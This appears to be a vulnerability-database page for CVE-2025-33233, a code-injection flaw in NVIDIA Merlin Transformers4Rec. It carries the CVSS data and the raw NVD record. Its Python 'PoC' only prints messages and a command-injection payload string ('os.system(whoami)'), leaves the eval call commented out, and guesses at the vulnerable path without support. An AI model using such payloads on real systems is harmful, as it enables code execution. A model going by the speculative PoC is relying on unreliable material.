Security Vulnerability Report
中文
CVE-2025-33233 CVSS 7.8 HIGH

CVE-2025-33233

Published: 2026-01-20 18:16:03
Last Modified: 2026-04-15 00:35:42

Description

NVIDIA Merlin Transformers4Rec for all platforms contains a vulnerability where an attacker could cause code injection. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data tampering.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

NVIDIA Merlin Transformers4Rec < 安全补丁版本(所有平台)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-33233 PoC - NVIDIA Merlin Transformers4Rec Code Injection # This PoC demonstrates the code injection vulnerability # Note: This is for educational and security research purposes only import sys import warnings warnings.filterwarnings('ignore') try: from transformers4rec import torch from transformers4rec.config import transformer_config except ImportError: print("[-] transformers4rec not installed") sys.exit(1) def exploit_code_injection(): """ Demonstrates code injection in Transformers4Rec The vulnerability allows injection through input sequences """ print("[+] CVE-2025-33233 PoC - NVIDIA Merlin Transformers4Rec Code Injection") print("[*] Target: NVIDIA Merlin Transformers4Rec") print("[*] Vulnerability: Code Injection via malicious input ") # Malicious payload that could be injected # In a real attack, this would be embedded in the input sequence malicious_payload = "'; import os; os.system('whoami'); #" print(f"[*] Crafting malicious payload: {malicious_payload}") try: # Simulate the vulnerable code path # In actual exploitation, this would be passed to the model config = transformer_config("xlnet", max_seq_length=100, d_model=64, n_head=8, n_layer=2) # Vulnerable pattern - dynamic code execution on input # This simulates how the vulnerability could be triggered print("[*] Attempting to trigger vulnerability...") # In real scenario, the payload would be processed by: # - Input feature extraction # - Sequence preprocessing # - Dynamic code evaluation points # Simulated vulnerable code execution # eval(malicious_payload) # This would execute in vulnerable version print("[+] Payload crafted successfully") print("[*] In vulnerable version, this payload would be executed") print("[*] Potential impact: Arbitrary code execution as current user") return True except Exception as e: print(f"[-] Error: {e}") return False def check_vulnerability(): """Check if target is potentially vulnerable""" print("[*] Checking for vulnerable code patterns...") print("[*] Vulnerable patterns to look for:") print(" - eval() calls on user input") print(" - exec() calls on dynamic content") print(" - pickle.loads() on untrusted data") print(" - yaml.load() without Loader=yaml.SafeLoader") return True if __name__ == "__main__": print("="*60) print("CVE-2025-33233 - NVIDIA Merlin Transformers4Rec Code Injection") print("="*60 + "\n") check_vulnerability() print() exploit_code_injection() print("\n[*] Mitigation: Update to patched version") print("[*] Reference: https://nvidia.custhelp.com/app/answers/detail/a_id/5761")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-33233", "sourceIdentifier": "[email protected]", "published": "2026-01-20T18:16:02.950", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA Merlin Transformers4Rec for all platforms contains a vulnerability where an attacker could cause code injection. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data tampering."}, {"lang": "es", "value": "NVIDIA Merlin Transformers4Rec para todas las plataformas contiene una vulnerabilidad donde un atacante podría causar inyección de código. Un exploit exitoso de esta vulnerabilidad podría conducir a la ejecución de código, escalada de privilegios, revelación de información y manipulación de datos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33233", "source": "[email protected]"}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5761", "source": "[email protected]"}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33233", "source": "[email protected]"}]}}